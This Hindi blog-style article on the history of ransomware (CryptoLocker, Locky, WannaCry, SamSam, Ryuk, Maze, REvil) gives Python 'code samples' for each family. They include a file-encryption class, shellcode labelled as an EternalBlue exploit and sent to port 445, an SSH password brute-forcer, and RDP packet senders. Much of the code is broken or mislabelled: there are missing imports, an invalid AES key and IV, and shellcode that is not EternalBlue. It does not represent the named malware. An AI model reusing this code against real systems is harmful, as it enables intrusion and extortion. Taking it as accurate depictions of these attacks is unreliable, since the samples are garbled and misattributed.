रैंसमवेयर कोड का प्रभावशाली विकास

May 10 2023
रैनसमवेयर के इतिहास का अनुसरण करना एक डरावनी फिल्म देखने जैसा है जहां खलनायक अधिक चालाक और अधिक परिष्कृत होता रहता है। रैंसमवेयर के विकास के बारे में कुछ आकर्षक और फिर भी चुनौतीपूर्ण है।

रैनसमवेयर के इतिहास का अनुसरण करना एक डरावनी फिल्म देखने जैसा है जहां खलनायक अधिक चालाक और अधिक परिष्कृत होता रहता है। रैंसमवेयर के विकास के बारे में कुछ आकर्षक और फिर भी चुनौतीपूर्ण है। इस लेख में, मैं आपको ऐतिहासिक समयरेखा में गहराई तक ले जाऊंगा और आपको दिखाऊंगा कि इन दुर्भावनापूर्ण कार्यक्रमों को रोकना इतना कठिन क्यों है।

कंप्यूटर खलनायक

पहला ज्ञात रैंसमवेयर, जिसे एड्स ट्रोजन के रूप में जाना जाता है, 1989 में दिखाई दिया। तब से, रैंसमवेयर महत्वपूर्ण रूप से विकसित हुआ है, जो सबसे अधिक प्रचलित और विनाशकारी प्रकार के मैलवेयर में से एक बन गया है। यह लेख रैंसमवेयर के विकास का अनुसरण करेगा, क्रिप्टो लॉकर के शुरुआती दिनों से लेकर कुख्यात वानाक्राई और अधिक हाल के भूलभुलैया और रेविल रैंसमवेयर हमलों तक, यह बताते हुए कि प्रत्येक प्रकार के रैंसमवेयर वास्तविक कोड नमूनों के साथ कैसे काम करते हैं।

2013: क्रिप्टो लॉकर

क्रिप्टोलॉकर फाइलों को एन्क्रिप्ट करने के लिए सार्वजनिक कुंजी क्रिप्टोग्राफी का उपयोग करने वाला पहला रैनसमवेयर था। इसे ईमेल अटैचमेंट के माध्यम से वितरित किया गया था और सिस्टम को संक्रमित करने के लिए जावा और एडोब रीडर में कमजोरियों का फायदा उठाया गया था। सिस्टम को संक्रमित करने के बाद, यह सिस्टम पर सभी फाइलों को एन्क्रिप्ट करता है और डिक्रिप्शन कुंजी प्रदान करने के लिए बिटकॉइन में भुगतान की मांग करता है।

कोड नमूना:

import os
import random
import string
from Crypto.Cipher import AES

class CryptoLocker:
    def __init__(self, key):
        self.key = key

    def encrypt_file(self, in_filename, out_filename=None, chunk_size=64 * 1024):
        if not out_filename:
            out_filename = in_filename + '.enc'

        iv = ''.join([random.choice(string.ascii_letters + string.digits) for _ in range(16)])
        encryptor = AES.new(self.key, AES.MODE_CBC, iv)

        filesize = os.path.getsize(in_filename)

        with open(in_filename, 'rb') as infile:
            with open(out_filename, 'wb') as outfile:
                outfile.write(struct.pack('<Q', filesize))
                outfile.write(iv)

                while True:
                    chunk = infile.read(chunk_size)
                    if len(chunk) == 0:
                        break
                    elif len(chunk) % 16 != 0:
                        chunk += b' ' * (16 - len(chunk) % 16)

                    outfile.write(encryptor.encrypt(chunk))

    def decrypt_file(self, in_filename, out_filename=None, chunk_size=24 * 1024):
        if not out_filename:
            out_filename = os.path.splitext(in_filename)[0]

        with open(in_filename, 'rb') as infile:
            orig_size = struct.unpack('<Q', infile.read(struct.calcsize('Q')))[0]
            iv = infile.read(16)
            decryptor = AES.new(self.key, AES.MODE_CBC, iv)

            with open(out_filename, 'wb') as outfile:
                while True:
                    chunk = infile.read(chunk_size)
                    if len(chunk) == 0:
                        break
                    outfile.write(decryptor.decrypt(chunk))

                outfile.truncate(orig_size)

# Usage example
key = b'secret_key_1234'
c = CryptoLocker(key)
c.encrypt_file('test_file.txt')
c.decrypt_file('test_file.txt.enc')

विधि decrypt_fileएक इनपुट फ़ाइल नाम और एक वैकल्पिक आउटपुट फ़ाइल नाम और चंक आकार लेती है। यह इनपुट फ़ाइल को पढ़ता है, मूल फ़ाइल आकार और IV को निकालता है, और उसी एन्क्रिप्शन कुंजी और IV का उपयोग करके एन्क्रिप्ट किए गए डेटा को डिक्रिप्ट करता है। यह डिक्रिप्ट किए गए डेटा को आउटपुट फ़ाइल में लिखता है और इसे मूल फ़ाइल आकार में काट देता है। कोड के अंत में वर्ग का एक उदाहरण उपयोग प्रदान किया जाता है, जहां CryptoLockerएक गुप्त कुंजी के साथ एक वस्तु बनाई जाती है, एक इनपुट फ़ाइल एन्क्रिप्ट की जाती है, और फिर डिक्रिप्ट की जाती है।

2016: लॉकी

Locky को ईमेल अभियानों के माध्यम से वितरित किया गया था और फ़ाइलों को एन्क्रिप्ट करने के लिए RSA और AES एन्क्रिप्शन के संयोजन का उपयोग किया गया था। इसने डिक्रिप्शन कुंजी प्रदान करने के लिए बिटकॉइन में भुगतान की मांग की। रिलीज के पहले कुछ हफ्तों में अनुमान लगाया गया था कि इसने 100,000 से अधिक सिस्टम को संक्रमित कर दिया था।

कोड नमूना:

import os
import base64
from Crypto.Cipher import AES
from Crypto.PublicKey import RSA

# Generate RSA key pair
key = RSA.generate(2048)

# Encrypt file using AES-128
key_aes = os.urandom(16)
cipher_aes = AES.new(key_aes, AES.MODE_EAX)
ciphertext, tag = cipher_aes.encrypt_and_digest(b'encrypted data')

# Encrypt AES key using RSA public key
cipher_rsa = key.public_key().encrypt(key_aes, None)

# Save encrypted file and AES key to disk
with open('encrypted_file.bin', 'wb') as f:
    f.write(ciphertext)

with open('encrypted_key.bin', 'wb') as f:
    f.write(cipher_rsa)

2017: वानाक्राई

2017 में, WannaCry रैंसमवेयर दुनिया भर में तेजी से फैल गया, जिसने 150 से अधिक देशों में सैकड़ों हजारों कंप्यूटरों को संक्रमित कर दिया। WannaCry ने EternalBlue नामक विंडोज ऑपरेटिंग सिस्टम में भेद्यता का फायदा उठाया, जिसे कथित तौर पर NSA द्वारा विकसित किया गया था

हमले की व्यापक प्रकृति और प्रभावित महत्वपूर्ण प्रणालियों ने साइबर सुरक्षा को प्राथमिकता देने और ऐसे हमलों को रोकने के लिए अद्यतन सॉफ़्टवेयर और सुरक्षा प्रोटोकॉल बनाए रखने के लिए संगठनों की आवश्यकता को रेखांकित किया।

कोड नमूना:

import socket

# EternalBlue exploit code
exploit = (
    b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x10\x5b\x53\x4b\x8b\x58\x18"
    b"\x8b\x53\x20\x01\xda\x51\x52\x8b\x52\x3c\x01\xda\x8b\x72\x78\x01"
    b"\xde\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01"
    b"\xc7\x49\x75\xef\x52\x57\x8b\x52\x20\x01\xda\x53\x8b\x34\x9a\x01"
    b"\xde\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03"
    b"\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xda\x66\x8b\x0c"
    b"\x4b\x8b\x58\x1c\x01\xda\x8b\x04\x8b\x01\xda\x89\x44\x24\x24\x5b"
    b"\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff"
    b"\xff\x5d\x6a\x01\x8d\x45\x68\x50\x68\x8e\x4e\x0e\xec\xff\xd5\x97"
    b"\x68\x8f\x0e\x4e\xec\x89\xe3\x6a\x10\x53\x57\x68\xde\xf8\x24\x75"
    b"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x8b\x36\x8b\x55\xfc"
    b"\x8b\x46\x0c\x8b\x7e\x1c\x8b\x4e\x08\x8b\x7e\x20\x8b\x36\x66\x39"
    b"\x4f\x18\x75\xf2\x66\x81\x39\x44\x44\x75\xe6\x5e\x56\x53\x2c\x24"
    b"\x0f\xba\x2c\x17\x42\x52\x6a\x01\x52\xff\xd0\x68\x63\x6d\x64\x00"
    b"\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\xff\xd5\x97\x6a\x0a\x5f"
    b"\xc3"
)

# IP address and port of vulnerable machine
target_ip = "192.168.1.100"
target_port = 445

# Create a TCP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))

# Send exploit code
sock.send(exploit)

# Close the socket
sock.close()

यह याद रखना महत्वपूर्ण है कि यह कोड, इस लेख के किसी भी अन्य नमूने की तरह, विशुद्ध रूप से शैक्षिक उद्देश्यों के लिए है और इसका उपयोग किसी भी दुर्भावनापूर्ण गतिविधियों के लिए नहीं किया जाना चाहिए।

2018: सैमसम

सैमसम एक रैनसमवेयर था जिसे पहली बार 2018 में पहचाना गया था। कई अन्य रैंसमवेयर हमलों के विपरीत, जो पीड़ितों के सिस्टम तक पहुंच प्राप्त करने के लिए फ़िशिंग ईमेल का उपयोग करते हैं, सैमसम ने अप्रकाशित सर्वर तक पहुंच प्राप्त करने के लिए क्रूर बल का उपयोग किया। एक बार अंदर, रैंसमवेयर ने फाइलों को एन्क्रिप्ट कर दिया और बिटकॉइन में भुगतान की मांग की।

कोड नमूना:

import paramiko
import time

target_server = "example.com"
username = "admin"
passwords = ["password1", "password2", "password3", "password4", "password5"]
port = 22

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

for password in passwords:
    try:
        ssh.connect(target_server, port=port, username=username, password=password)
        print(f"Successfully logged in to {target_server} with username {username} and password {password}.")
        # Do malicious activities here
        ssh.close()
        break
    except paramiko.AuthenticationException:
        print(f"Failed to log in to {target_server} with username {username} and password {password}.")
        time.sleep(1)

2019: रयूक

ऐसा माना जाता है कि रयूक की उत्पत्ति उत्तर कोरिया में हुई थी और इसका उपयोग अस्पतालों और सरकारी एजेंसियों जैसे उच्च-मूल्य वाले लक्ष्यों को लक्षित करने के लिए किया गया था। यह गलत निकला और मूल रूप से कई अलग-अलग आपराधिक संगठनों द्वारा इस्तेमाल किया गया था। रयूक आमतौर पर फ़िशिंग ईमेल के माध्यम से या दूरस्थ डेस्कटॉप प्रोटोकॉल में कमजोरियों का फायदा उठाकर वितरित किया जाता है।

कोड नमूना:

import socket

RDP_PORT = 3389

def exploit_rdp_vulnerability(target_ip):
    # Establish a connection to the target RDP server
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(5)
    try:
        s.connect((target_ip, RDP_PORT))
    except:
        print(f"Connection failed to {target_ip}:{RDP_PORT}")
        return
    
    # Send a malicious RDP message to trigger the vulnerability
    # In a real attack, this would contain the ransomware payload
    # In this safe example, I will just print the message for demonstration purposes
    message = b"\x03\x00\x00\x13\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x03\x00\x00\x00"
    s.sendall(message)
    
    # Receive the server's response and print it for demonstration purposes
    response = s.recv(1024)
    print(response.decode())
    
    # Close the connection
    s.close()

# Example usage
exploit_rdp_vulnerability('192.168.1.100')

2019: भूलभुलैया

भूलभुलैया पीड़ित की फाइलों को एन्क्रिप्ट करती है और डिक्रिप्शन कुंजी के बदले में भुगतान की मांग करती है। हालांकि, Maze रैंसमवेयर की भी पीड़ितों से संवेदनशील डेटा चुराने और फिरौती न देने पर इसे प्रकाशित करने की धमकी देने की प्रतिष्ठा है, जो इसे एक प्रकार का " डबल एक्सटॉर्शन " रैनसमवेयर बनाता है।

भूलभुलैया रैंसमवेयर को विशिष्ट फ़िशिंग ईमेल के साथ-साथ सिस्टम तक पहुँच प्राप्त करने के लिए दूरस्थ डेस्कटॉप प्रोटोकॉल (RDPs) में कमजोरियों का फायदा उठाने के लिए जाना जाता है।

कोड नमूना:

import socket

HOST = '192.168.1.100'
PORT = 3389

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

data = s.recv(1024)
print(data)

# Send RDP negotiation packet
negotiation_packet = b'\x03\x00\x00\x13\x0e\xe0\x00\x00\x12\x34\x00\x08\x00\x08\x00\x00\x00\x00'
s.sendall(negotiation_packet)

data = s.recv(1024)
print(data)

# Send RDP connection request packet
connection_request_packet = b'\x03\x00\x00\x2c\x0e\xd0\x00\x00\x12\x34\x00\x08\x00\x08\x00\x00\x03\xeb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
s.sendall(connection_request_packet)

data = s.recv(1024)
print(data)

# Send RDP security packet with no credentials
security_packet = b'\x03\x00\x00\x08\x02\xf0\x80'
s.sendall(security_packet)

data = s.recv(1024)
print(data)

# Send RDP negotiate security packet
negotiate_security_packet = b'\x03\x00\x00\x0c\x02\xf0\x80\x00\x01\x00\x08'
s.sendall(negotiate_security_packet)

data = s.recv(1024)
print(data)

s.close()

2021: रेविल

हाल के वर्षों में सबसे उल्लेखनीय रैंसमवेयर हमलों में से एक जुलाई 2021 में रेविल रैंसमवेयर हमला था। इस हमले ने कस्या नामक एक सॉफ्टवेयर प्रदाता को निशाना बनाया, जो अन्य कंपनियों को दूरस्थ प्रबंधन सॉफ्टवेयर प्रदान करता है। हमलावर कसैया के सॉफ़्टवेयर तक पहुँच प्राप्त करने और अपने सैकड़ों ग्राहकों को मैलवेयर वितरित करने में सक्षम थे, जिसके परिणामस्वरूप व्यापक रैंसमवेयर हमले हुए।

REvil पीड़ित की फाइलों को एन्क्रिप्ट करने के लिए मजबूत एन्क्रिप्शन का उपयोग करता है और डिक्रिप्शन कुंजी के बदले फिरौती के भुगतान की मांग करता है। इस युग के अधिकांश रैंसमवेयर समूहों की तरह, बिटकॉइन का उपयोग भुगतान की एक विधि के रूप में किया जाता है।

कोड नमूना:

import os
import random
import string
from Crypto.Cipher import AES

class Ransomware:
    def __init__(self, key):
        self.key = key

    def encrypt_file(self, in_filename, out_filename=None, chunk_size=64 * 1024):
        if not out_filename:
            out_filename = in_filename + '.enc'

        iv = ''.join([random.choice(string.ascii_letters + string.digits) for _ in range(16)])
        encryptor = AES.new(self.key, AES.MODE_CBC, iv)

        filesize = os.path.getsize(in_filename)

        with open(in_filename, 'rb') as infile:
            with open(out_filename, 'wb') as outfile:
                outfile.write(struct.pack('<Q', filesize))
                outfile.write(iv)

                while True:
                    chunk = infile.read(chunk_size)
                    if len(chunk) == 0:
                        break
                    elif len(chunk) % 16 != 0:
                        chunk += b' ' * (16 - len(chunk) % 16)

                    outfile.write(encryptor.encrypt(chunk))

    def decrypt_file(self, in_filename, out_filename=None, chunk_size=24 * 1024):
        if not out_filename:
            out_filename = os.path.splitext(in_filename)[0]

        with open(in_filename, 'rb') as infile:
            orig_size = struct.unpack('<Q', infile.read(struct.calcsize('Q')))[0]
            iv = infile.read(16)
            decryptor = AES.new(self.key, AES.MODE_CBC, iv)

            with open(out_filename, 'wb') as outfile:
                while True:
                    chunk = infile.read(chunk_size)
                    if len(chunk) == 0:
                        break
                    outfile.write(decryptor.decrypt(chunk))

                outfile.truncate(orig_size)

# Usage example
key = b'secret_key_1234'
r = Ransomware(key)
r.encrypt_file('important_file.docx')
r.decrypt_file('important_file.docx.enc')

उपयोग उदाहरण में, एक कुंजी परिभाषित की गई है, और Ransomwareइस कुंजी का उपयोग करके कक्षा का एक उदाहरण बनाया गया है। विधि encrypt_fileको 'important_file.docx' नामक फ़ाइल पर कॉल किया जाता है, जो 'important_file.docx.enc' नामक एक एन्क्रिप्टेड फ़ाइल बनाती है। अंत में, decrypt_fileविधि को एन्क्रिप्टेड फ़ाइल पर वापस उसके मूल रूप में डिक्रिप्ट करने के लिए कहा जाता है।

मुझे उम्मीद है कि यह लेख रैंसमवेयर कैसे विकसित हुआ है और कैसे तैनाती में आसानी और अवैध गतिविधि के तत्काल मुद्रीकरण के कारण यह हमारे लिए सबसे बड़ा खतरा है, इसके बारे में कुछ बहुत जरूरी परिप्रेक्ष्य देता है। हालांकि, इन मामलों पर आम जनता को उजागर करने और शिक्षित करने के लिए हाल के वर्षों में किए गए कदमों को याद किया जाना चाहिए।